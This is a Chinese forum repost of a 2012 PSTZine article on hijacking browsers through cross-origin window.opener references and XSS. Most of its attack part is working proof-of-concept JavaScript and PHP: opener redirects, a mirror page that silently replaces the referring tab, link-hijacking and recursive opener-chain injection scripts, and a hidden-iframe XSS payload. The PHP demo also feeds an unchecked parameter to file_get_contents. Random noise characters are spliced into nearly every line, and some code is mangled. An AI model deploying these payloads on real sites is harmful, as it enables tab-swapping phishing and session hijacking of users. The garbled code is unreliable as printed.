找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1915|回复: 0
打印 上一主题 下一主题

[PSTZine 0x03][0x05][利用窗口引用漏洞和XSS漏洞实现浏览器劫持]

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:10:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
                           ==Ph4nt0m Security Team==7 @: p, _& W5 J6 W: u- a9 U; l
. d, f* s% [' R9 b
                       Issue 0x03, Phile #0x05 of 0x07, Y+ m* u& N' F) B+ ~/ Q

) r7 G6 [' a5 u: Y- t! V6 U3 Z# J( J% A" g, ?6 l1 D: D2 n" E
|=---------------------------------------------------------------------------=|. X, i7 L- E- |3 u% U, ]
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
7 f5 H& h( J, Y  w+ Z- ^|=---------------------------------------------------------------------------=|
1 \/ G, D$ n. S+ h) K0 i|=---------------------------------------------------------------------------=|
; s- ^& N) x2 b|=------------------------=[      By rayh4c     ]=---------------------------=|7 I% V3 y) }4 A
|=----------------------=[    <rayh4c#80sec.com>   ]=------------------------=|
3 u/ Z- i$ W& X- A( w9 w|=---------------------------------------------------------------------------=|
) T% G7 j9 {/ @: @+ }2 s+ T- W. a
- D/ f' b" h& i! a, x9 o/ f0 c, }; o$ [+ S( a, S5 l3 s9 n
[目录]& [5 \+ H/ Z/ e' p

! ]# _) {/ b3 z/ v1. 前言
% |0 Z) ?/ q6 s1 P2. 同源策略简叙
8 e5 ?- j- h& F2 ~3. 理解window对象的同源策略
1 l' j8 c- V2 O! G; _* K7 ~- |4. 窗口引用功能中的同源策略漏洞. O& f8 Z. C) Y4 Y: [4 V2 Q
  4.1 父窗口引用子窗口的同源策略问题
  K: e5 Z0 S+ U! B, d; P5 u# [3 o  4.2 子窗口引用父窗口的同源策略问题
! r& h- \& c) b, m9 A5. 利用窗口引用漏洞劫持浏览器, t0 G5 l, V& z1 `% a1 T/ |
6. 利用XSS漏洞劫持浏览器
3 l4 j0 d8 Z+ W/ p/ u! ^. d  6.1 正向跨窗口劫持5 c7 u, _8 |- V
  6.2 反向跨窗口劫持% ~8 n3 U% T- |6 _
  6.3 极度危险的跨框架窗口引用劫持  }# Y8 f8 i- h! j
  6.4 极度危险的正反向跨窗口递归劫持1 L7 }. f' u) Z6 d" H
  6.5 完全控制浏览器; _0 Q% w  T* Y) l6 T
7. 后记
0 I" q" y1 e/ ]2 M' n0 C7 b2 p8. 参考3 X3 u6 N9 ?7 f  D. d4 n2 I- K2 @" K& j! V
1 a- U, E3 o* D' J
8 [! O8 T, Y3 H+ X1 ~% X5 k( D
一、前言) O5 z) A/ h$ @: a' ^7 X- N& z
0 ?9 E* y; A/ c8 M; A1 _6 j
    最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
* P1 d- U5 H9 |. K1 o+ {7 E友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session  N5 t' `- e/ ]6 a! |* d
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
, K( U3 X6 x' p6 U* W条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。  j7 T) e% F! J$ P! a" X% e
; ^1 v% z) w# Q4 V$ E% a# O! ^$ \( {1 E, I
( ]7 g9 F  k! L( [
二、同源策略简叙
6 [; o6 M" m' }- R3 u3 B
, c) T, Y2 X& e    同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以, E' v- f$ m& U5 L: M6 x) F
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都' K1 X8 i- I, |4 I$ @; k
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木- Q- q+ |- t1 H# y, x" K+ a, m  G
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
/ o2 A  M, i2 F: W& S; g漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
9 X4 M% ~0 g3 a# T, B0 z% z
3 G% [7 ?1 p8 C8 @9 M
; U( v& s: _" G三、理解window对象的同源策略
/ Z/ p% `" U' M0 D/ y) u: a1 W5 n) M. H) x7 b5 d7 V
    窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
  K1 g6 J0 I: l9 W- U象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:) w  o  F8 P. p2 }$ s
- P) E0 D6 l6 v
--code-------------------------------------------------------------------------; y, U4 }) F0 z1 a2 [  Z
<script language="javascript">
' z6 W$ i, D0 P1 Q4 y" cfor(p in window) document.write(p+"<br>");( o! V0 ]' \% ^+ K2 g
</script>
( ^6 ]; K" K' l6 Q+ e7 _5 k-------------------------------------------------------------------------------4 e/ m6 e$ L5 j6 v: q

, O2 R* i3 K, |" [    这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
5 b1 m1 K; O% K8 Q6 U, n法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,* v& n. ~7 E! q# S
这些属性和方法就必须遵循同源策略。
. p6 f/ n* e7 A: d0 |' T% z/ H+ T; J- a' ?5 q/ ]6 @/ |
    举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
9 n4 e  U0 D  W2 y么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须: L8 D8 N9 {5 L. f2 R
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
/ ^8 y& d, D* Z个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
+ w( K7 i4 s1 E& }: H. R值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location' v7 J+ m/ c4 `, o0 K6 g
属性并没有被拒绝访问。6 P3 \. P# V0 ^, h" E" J
( B1 Q4 r/ o' T5 I' x
--demo.html--------------------------------------------------------------------
( L  X/ J: N; B2 @: u& K* i<script language="javascript">   
9 Y- B. o4 s0 ^1 T, ~function allPrpos(obj) {      : v: B% i6 r) ^3 y0 V
      var props = "<table><tr><td>名称</td><td>值</td>";           9 A& t3 {& G1 D6 ^! H
      for(var p in obj){         
4 `0 k# D6 p3 x, `* l3 B6 O4 X            if(typeof(obj[p])=="function"){   
- Y* j) E  ^( l7 n" l6 C                   obj[p]();   $ F; b4 R7 d' F
             }else{                     
5 E& m3 y1 t0 s0 p7 M                  try   9 l1 @9 |6 @3 z) n3 {1 ^, ?  R
                   {   
; n$ U$ r9 I+ F                          props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";   
( B2 B- e- Q$ v6 s                   }   + c6 v/ c& G( V$ M5 ?; J
                  catch (ex)   ; d" \7 S  l* t# G
                   {   
8 v7 f# {( A( Y0 L+ e! u& R1 Q6 R                   * N9 ]) [# {* `% K+ a' `/ \
                          props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";   8 h& N$ y+ @# M! E' A! l
                   }   
* ~4 O9 f% M8 e+ m$ W                       
. }; {; |' H+ {$ i9 o$ ~: a  }7 }             }   
2 R% i5 R# Q! P* L9 ^. ~. W  w       }   
7 |' Y8 y# f2 Y) @1 _   
2 e, e6 m# j' U$ Q! l$ }       document.write(props+"</table>");   . y- S; }$ v: t/ u! k5 w: Y
}   ) o5 d- w. d, s9 [$ m
   6 l4 h0 O# \. n) _3 O7 A' o
function createWin() {
0 s2 O( o" s) n. b        newWin = window.open ("http://www.google.com");  
6 ]1 z) s* w5 Q* _        setTimeout(function(){allPrpos(newWin)},2000); 4 ?6 B7 J# {& b" ~
}
/ ^& Z, I# Q' X! H1 G) U
' E( Q6 X( B, d- I3 x* O+ r</script> 5 V1 J+ X' A" A  I6 I( @) ^+ N! L
1 J2 n& I# r' l; j+ c
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
6 r8 Z% w1 s8 l+ z0 K: Z. V- g& f-------------------------------------------------------------------------------" o' y, p! T/ c

3 j" r9 o  p7 x. v: f3 T' x, U3 t2 n- `7 t
四、窗口引用功能中的同源策略漏洞( X% _! ^" J9 g) o1 O. s
3 A) C; e3 I  G4 J9 X. Y
4.1 父窗口引用子窗口的同源策略问题) a, g/ j/ L: d# W
. T4 j2 i8 [1 Z( j0 o0 `
    去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
& x! J9 R! E7 O5 P4 d" D但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
; C* K6 |9 n/ H! m% V- c2 c浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进8 R6 E: g; R1 L( ~
行测试,会发现父窗口可以控制非同源子窗口location属性值。% M1 R( Q+ N) t! l8 b( w; r7 f
) ^/ E8 s5 z0 c; p( o5 F4 K: d5 \
--vul1.html--------------------------------------------------------------------- J' u$ c3 h* P) I
<script language="javascript"> # F( b/ f4 ^$ C4 Z% t, b
function createWin() {  9 e, I* f7 P# N1 h. n* |
        newWin = window.open ("http://www.google.com");  ! I! q" \& ?0 i( p. ~3 H
        setTimeout(function(){newWin.location="http://www.80sec.com"},2000); % p- A0 N' j7 C% |3 `
} ( _: A+ J' W: I' |/ V& x& b. Z
</script>* E) f9 D1 W* f; P+ S4 B9 L- H
! w' ^/ X* {9 X% Y4 \: E  E
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
! J( G5 w# E# U6 M  c-------------------------------------------------------------------------------5 O. D' J& J! H3 N% U

+ N4 X& b4 T" j# b7 s% S) y
; ?  i, c# t' K) t4.2 子窗口引用父窗口的同源策略问题
6 E3 x) x! Z0 a  q" H. s4 n' S2 B# \' _* U! V! a8 O& {( \- G4 k) t
    逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
) o( u$ ]4 }- e, e用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们9 Y% |( m8 b+ q
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定- n" j: x! y0 F: k6 w# x  X
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。( b. r# N' V; S; B  i
8 E' A* U# p1 l' s; W( p" i
--code-------------------------------------------------------------------------/ G3 V; ~% Q# }! m* f- R' U
! _( f- L) ~- m
javascript:window.opener.location = "http://www.80sec.com";void(0);/ `1 @9 e: K- X( [$ M% `" v
( x  D( z" Q8 s7 a
-------------------------------------------------------------------------------
0 U  \2 r' a; |  J' ?; c$ B
9 d, ~" f5 }/ I) k, c6 C9 A, L1 \# P) J5 C6 U7 ^
五、利用窗口引用漏洞劫持浏览器
9 _0 T$ K* \5 g6 u3 N# S& i
% }% u/ ^6 C* k    经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
6 }6 k  b/ a8 R窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那7 N0 v& \' d& \, R5 l' @
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。4 \# @- Q; _2 D3 G- k( ?; d
9 u# c1 P6 V, F: l. q, `
    我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
4 h2 `6 k9 ]5 a1 k4 h7 j生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
% C# c/ U2 v7 ]. Z% d者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
# h7 v% Y! m* ~* L: p7 y$ m后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下* w  u! ^% y: s! f- n; o* w0 ?( M2 q  N
会产生什么可怕的后果。8 ~$ H" o, v( [& p* K1 K. |, a4 ~7 k- f

# e: Q: Q4 D0 P- G0 ]    下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
6 H7 J, M& p6 {; y6 t$ x们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
3 {( ?( Z8 A9 B7 M这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
- I! g$ j8 U4 K7 \; D) p( r: g. C候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
  ]* t: H, y# H' s0 ?以做更多的事情,所有的一切仅仅是因为点击了一个链接。) W+ X$ H* i4 D8 T% w
* I- r! n* d  j* R( q: N
--hjk_ref.php------------------------------------------------------------------/ @. r1 u7 ?- g, U6 I: _0 K
<?php6 M: f+ f2 h1 K6 d4 N5 j
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
6 M+ t5 h$ i2 Z8 T  U! ^1 Q$Url_Mirror = $_SERVER["HTTP_REFERER"];
# t  W, o1 q9 T4 D}   O6 i) Z9 x7 N8 T
if(isset ($_GET['ref'])) {
/ J% y1 y4 a5 o" gecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
2 l! _/ _1 p6 E1 L, S}) ~1 W/ C/ i0 Z' q3 e, h1 R4 L
?>* _9 a) E  s$ G: R
' ^& l( a4 ]; R7 U
<script language="javascript">
5 T( _3 T( n. \4 QsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);        
2 ]9 g! Y) g. f2 _0 ~" l</script>
6 Y/ Q7 S$ Z) l) l% |& s% O( r-------------------------------------------------------------------------------: ^0 @3 s- [# M' Y/ w6 p

7 r1 u$ r7 R' J% K0 O5 U    注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
5 Z$ S# J3 V0 q& {; r0 W1 _+ Q" }* R/ V: T% p! J. s! T1 f

  B. s( P  f  o7 ^& Z  b六、利用XSS漏洞劫持浏览器
% E- }9 Q$ ^3 m9 ^' H2 b  u% B! B# k' v* d9 o; S/ F; F: e. L
    延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为3 v/ N5 W2 V+ Z* c
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后5 g$ }$ R; ]# i4 ~! H
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起; p* J8 I6 T8 }; z4 W
讨论跨站师的终极技巧:8 F, v- l* e% U! g9 H6 R

0 l8 ?3 |3 k3 u, s) L; E3 h6 v3 B; s4 f# N0 L
6.1 正向跨窗口劫持
2 G7 c8 g! ~* S1 U9 D
' V8 {* m( F3 A( ?( O    大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛+ @" G+ T2 Z1 Y4 t% |2 ]  @
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链" V; ]: H( E, m
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话: m* K( o% P/ H, Y/ K' V' y
框脚本。
: j0 n' m7 p' \7 s& |* H3 k% O; N
--hijack_open.js---------------------------------------------------------------
9 L5 S' i2 x+ _4 ]
3 V3 R; k1 U3 V- T% Bjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);5 L- J* w. D) Y% U2 l" e
' |+ I- Q, I9 ^* B) f0 S
-------------------------------------------------------------------------------
2 p$ L  c# h6 O% K+ n, E7 e# h6 o0 t+ |# I

" \" }: F* s$ G3 C* e6.2 反向跨窗口劫持
) u; v" B# W) x) p
/ n, k; ^* L9 T    同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代- `! U2 R4 A* h; C6 E* z
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
8 O3 l* b$ e- }3 u4 p框脚本。
, G& \& R: m2 C6 Y$ h. u; K
( k6 K- {! p8 x# [4 w--hijack_opener.js-------------------------------------------------------------  T1 t8 r, z) U# u2 r# e8 x

! z9 b9 i- ^2 s! v0 d4 L  \+ Zjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);& ~: ]2 D) ?, V% t* T  H* s

" D# Y2 q( f" p+ y-------------------------------------------------------------------------------
  s/ Y5 h/ @* o: [
& b3 S7 Q! h: }) b' ~# }& [( D! v
6.3 极度危险的跨框架窗口引用劫持% Q6 k7 u8 T; ^* X: u

& ?/ x/ D' W; I9 [3 {    非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
0 T7 }. f8 O0 p9 ^3 {可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
- t/ L- A! ~6 W& s0 s  a+ W适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个: q3 e2 Q4 ^6 F( ]$ _7 ^: I8 T
非持久型的XSS,如下:; Y4 ]5 _; K- E+ y: I4 a

" }) ^9 E- m4 s9 L1 X8 k  ^) {<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
% Z0 z/ m% {6 w
) c2 D5 Q$ V8 w9 a; W) X' R    在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口# d! ?; p7 C2 {6 B. }, G
注入脚本。! x6 w6 U' |( }) p# f- g

: _& x  ?% X2 G) U) H9 _5 S, l. {--hijack_frame_opener.js-------------------------------------------------------
; F" u0 ]9 S) Z$ E<script>
6 e- I% B  @2 \3 t5 \window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
2 K( o) z' k% ]" E</script>, ^, j  M% `0 s9 _8 U
-------------------------------------------------------------------------------
9 q- B3 x4 R9 N( R1 o! l' n! E8 @
7 V5 ~. ]/ L0 m6 |6 I; m5 d4 k- ], F$ |7 \$ Y: {
6.4 极度危险的正反向跨窗口递归劫持- ^) r% D% u; ~! a2 E2 m) c% W
# c; Y7 f  V5 ~
    luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
) B3 Y6 [7 n$ X7 S# ~0 l的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
; ~* ~+ e+ `+ ~1 Z4 h异常处理规避之间跨域页面的访问异常,代码如下:
: @# G. |8 L  d) I" O
: o& I0 k4 g. |--code-------------------------------------------------------------------------. i- G  ^1 ]  X! l

, d+ Q1 k4 y2 k# z8 Q  Ojavascriptfunction(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);" O7 b3 U/ c8 y% Y) R
! v$ z/ I  T: q3 W/ }
-------------------------------------------------------------------------------6 N' w$ K3 `' q) _7 U
- }' n8 m, u4 H) L* }# P$ W
    假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
' O. \" z# C* X( W0 d% t* S. n以劫持B域之前的A域页面,从而实现“隔空打击”。. e% U5 ?3 l! r! h1 P
2 p, O2 \, l% Q+ i0 |) P& @" s& h
    同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面" E+ D4 R  c$ x* y) |
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。* x7 J6 b# E5 D5 R
3 n6 [) J  i2 y, Z4 E
    结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
8 t& e1 ?( |2 X' I  @
  u! B9 @. |4 \2 t  b; y
+ s! k. l# f4 x6 i7 _6.5 完全控制浏览器
( Y# _2 x' D" [( a+ C; S4 X) M/ C# s- r, _8 l9 F" l
    一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
; @% q; U5 \, |" |7 o  S是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
, }0 G& a6 @0 E6 l! X+ L2 ^漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失# m/ E! A8 O' {; h" n
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再7 H2 \4 C% D, E
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
" W% V6 `  D/ k师的终极目标 - 完全控制浏览器。( V/ Q+ G/ n* d# w: l7 Y
# Z- z: V$ u& F8 B" [9 b

  y* G2 R+ a' N9 L七、后记0 U1 ^! b4 d3 P+ f3 {8 T* {# z
+ X2 G  C( P9 Y- b9 n) V, L
    文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全% n; o* `1 ]( y! K( m
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予8 ~2 E% F9 e! O* W$ V* m
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
6 F$ Y0 D% v' @/ F  N$ n  }; a5 {8 l  M1 _- J
! B0 [8 {$ v9 R9 J
八、参考
- c/ l7 u! [2 k$ T) k0 K3 m( D! c0 o- O2 f
1. http://en.wikipedia.org/wiki/Same_origin_policy
: ~8 Y8 n; n9 {6 w# e7 n1 G; ^2. http://code.google.com/p/browser ... licy_for_DOM_access7 N" [# \# `6 x) p2 |1 h) [. B; u  x
3. http://www.w3.org/TR/Window/
4 {/ {# R( b/ K4. http://www.80sec.com/release/browser-hijacking.txt
* @) K, c1 C7 n6 K7 {. q5. http://www.80sec.com/all-browser-security-alert.html' C# t* J$ K* {$ h
6. http://www.80sec.com/ms08-058-attacks-google.html
1 o2 H5 a) l9 D3 r# ?' N7 r; X2 B5 z+ p
-EOF-
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表